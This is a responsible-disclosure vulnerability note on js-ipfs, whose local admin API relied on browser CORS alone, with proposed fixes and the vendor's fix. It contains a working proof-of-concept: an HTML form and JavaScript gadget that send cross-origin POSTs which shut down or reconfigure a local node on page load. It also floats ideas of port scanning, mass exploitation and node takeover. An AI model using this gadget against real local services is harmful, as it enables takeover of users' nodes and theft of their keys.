js-ipfs api CORS Bypass Full Admin Write

Vulnerability Note

1 Summary

js-ipfs is the JavaScript implementation of the IPFS protocol and utilities. Similar to go-ipfs it exposes a wide range of functionality with the most prominent being the daemon mode. This mode starts an IPFS process that by default offers a variety of services such as a connectivity layer to the ipfs peer-to-peer network via swarm, a gRPC service listening on localhost, and three web services:

  • a read/write management API that by default is only listening on localhost
  • a “Gateway” interface that provides access to ipfs/ipns resources
  • a “WebUI” which is basically a redirect to a static web interface seved via the API service fetched via ipfs
⇒  node /Users/tintin/.nvm/versions/node/v14.16.1/lib/node_modules/ipfs/src/cli.js daemon
Initializing IPFS daemon...
js-ipfs version: 0.4.4
System version: x64/darwin
Node.js version: 14.16.1
Swarm listening on /ip4/127.0.0.1/tcp/4002/p2p/QmQLg4RHfdSJq8CTtEf668iT2ADQA8BxWJxBwtXyJNcgZk
Swarm listening on /ip4/192.168.86.92/tcp/4002/p2p/QmQLg4RHfdSJq8CTtEf668iT2ADQA8BxWJxBwtXyJNcgZk
Swarm listening on /ip4/127.0.0.1/tcp/4003/ws/p2p/QmQLg4RHfdSJq8CTtEf668iT2ADQA8BxWJxBwtXyJNcgZk
HTTP API listening on /ip4/127.0.0.1/tcp/5002/http
gRPC listening on /ip4/127.0.0.1/tcp/5003/ws
Gateway (read only) listening on /ip4/127.0.0.1/tcp/9090/http
Web UI available at http://127.0.0.1:5002/webui
Daemon is ready

The API interface serves the routes /ipfs/<path> and /api/v0/<command/<subcommand>?params. For access control the application relies on browser CORS. There are no other means of authentication.

The security of the writeable admin API shoulders on the fact that browsers would always check CORS rules (preflight evaluating the servers CORS headers) and reject to send the actual POST (PUT/DELETE/etc.) when detecting CORS policy violations.

This is a common misconception as there are ways to send POST requests that completely bypass CORS which mainly protects the javascript fetch/xmlHTTPRequest api.

Here’s an example where the Browser rejects sending a POST request via the fetch api after detecting a CORS violation.

image

As a result, we can craft a special IPFS html resource, that, when navigated to on a machine that exposes a local instance of js-ipfs running in daemon mode, with default settings and CORS restricted to some origin (or even disabled which would instruct a browser to reject all CORS calls) allows the malicious resource to write to the admin API interface.

Direct configuratiom reads are rejected by the Browser as they would require CORS conform calls, however, the API exposes functionality to modify the js-ipfs configuration, hence, we can with the first POST bypassing CORS enable the interface for our domain and freely read/write takeover the node.

The API exposes a wide variety of commands that allow us to DoS the js-ipfs daemon, update/reset/replace/preset its configuration, add/remove/reset bootstrap nodes, add/remove/.. files, mess with the nodes identity and keys, … Exfiltrated information can even be easily posted to the ipfs network for the attacker to be collected at a later point in time.

Note: It is also important to note that leaving the API interface unprotected on localhost allows any other potentially less privileged local user account to interact with the service to configure the node, steal valuable information (identity/keys), or exploit yet unknown vulnerabilities in an effort to elevate privileges.

CvSSv3 estimation: 9.2 (vector=AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H/E:P/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:N/MAC:L/MPR:N/MUI:R/MS:C/MC:H/MI:H/MA:H)

2 Details

2.1 Description

The common misconception is that CORS is evaluated server-side while it is a client-side and mainly browser protection mechanism that allows javascript code running on one website to access information on another. By default access to non CORS conform websites is restricted and a server can indicate to the browser that it would allow access to certain web origins by providing an origin with the Access-Control-Allow-Origin header. As noted, javascript calls that attempt to read from another origin honor this policy. However, form submissions don’t as they do not provide access to another origins data. They can, therefore, be used to issue fire-and-forget POST requests that completely bypass any browser imposed CORS restrictions.

For example, the following html form issues a cross-origin POST to the local js-ipfs admin API requesting the daemon to shutdown:

<form name="bypassCORS" method="post" action="http://localhost:5002/api/v0/shutdown">
    <input type=submit>
</form>

We cannot read the result of this POST but we actually don’t really care. The request bypasses browser CORS and the shutdown side-effect is executed in js-ipfs.

We can even make this run right on page load and combine it with a javascript portscanner script that attempts to detect non-default admin API ports of local js-ipfs nodes for mass exploitation. All it takes is luring someone into navigating to our malicious document (which is not hard, people like to click on links, but we can theoretically also get this to run on a hacked site with good traffic counts for $$).

window.onload = function(){
  document.forms['bypassCORS'].submit();
}

Let’s simplify that even more to provide us with a write-gadget to execute arbitrary admin API commands:

function callBypassingCORS(target){
    let elem = document.createElement("form");
    elem.setAttribute("method", "post");
    elem.setAttribute("action", target);
    elem.setAttribute("target", "__dummy__")
    document.body.appendChild(elem);
    elem.submit();
}

Looks great! Shutdown ahead :)

#> callBypassingCORS("http://localhost:5002/api/v0/shutdown")

2.2 Proof of Concept

This works against default installations of js-ipfs but let’s make it obvious that CORS even when enabled, is completely bypassed. Let’s add a cryptic origin as the only domain that is allowed to communicate with the API service. We are, of course, not sending from this origin for this PoC.

⇒  jsipfs config --json API.HTTPHeaders.Access-Control-Allow-Origin  '["http://randomnonexistentwebsitewedontcareabout"]'
⇒  jsipfs config --json API.HTTPHeaders.Access-Control-Allow-Methods '["PUT", "POST", "GET"]'

We verify that the configuration is active (and indirectly, that restrictions on the origin/referrer/hostname are not enforced))

image

Looks good, this is the POC website we’re using. In this case we’re just terminating the local node (no portscanning as we know we’re running on the default port).

<!doctype html>
<html>
<body>
  <script>
  function callBypassingCORS(target){
    let elem = document.createElement("form");
    elem.setAttribute("method", "post");
    elem.setAttribute("action", target);
    elem.setAttribute("target", "__dummy__")
    document.body.appendChild(elem);
    elem.submit();
}

window.onload = function(){
  callBypassingCORS("http://localhost:5002/api/v0/shutdown"); //bye
}

setTimeout(function(){callBypassingCORS("http://localhost:5002/api/v0/shutdown"); }, 1000); //make it work for gistpreview :D
</script>
</body>
</html>

Here’s a live version on web2 but it’s trivial to also host this on the decentralized web: https://gistpreview.github.io/?7520115105b938786251e6a072cc1877/jsipfs-shutdown.html (source as gist)

This should end up terminating the node. YaY!

image

Now, ideally we would not terminate the node but change the configuration (/api/v0/config/replace) to allow javascript via CORS to get full read/write access to the admin interface, stealing the identity and turning that ipfs node into our zombie.

2.3 Proposed Fix

  • Harden server-side header checks: origin, referer, hostname
  • Authenticate the admin interface to avoid local privilege escalation issues

3 Vendor Response

Summary
CORS protection is not enforced for POST submissions on the API service exposed by the IPFS node instantiated by `js-ipfs`
unless configured to do so.  `go-ipfs` solves this issue by checking HTTP origin (and referrer, but this is secondary) and
rejecting all requests by default. `js-ipfs` has been fixed to do this as well.

Impact
A rogue website loaded in a web browser could potentially have admin access to a js-IPFS node running locally as a daemon
process (due to insufficient CORS protection).

Risk score
https://owasp-risk-rating.com/?vector=(SL:3/M:1/O:9/S:2/ED:5/EE:Risk score:9/A:9/ID:9/LC:0/LI:0/LAV:9/LAC:1/FD:7/RD:9/NC:0/PV:0)

Fix:
https://github.com/ipfs/js-ipfs/pull/3674

3.1 Timeline

May/05/2021 - initial contact with ipfs security team
May/07/2021 - a fix appeared in their repository: https://github.com/ipfs/js-ipfs/pull/3674
Jun/03/2021 - vendor response: risk scoring and details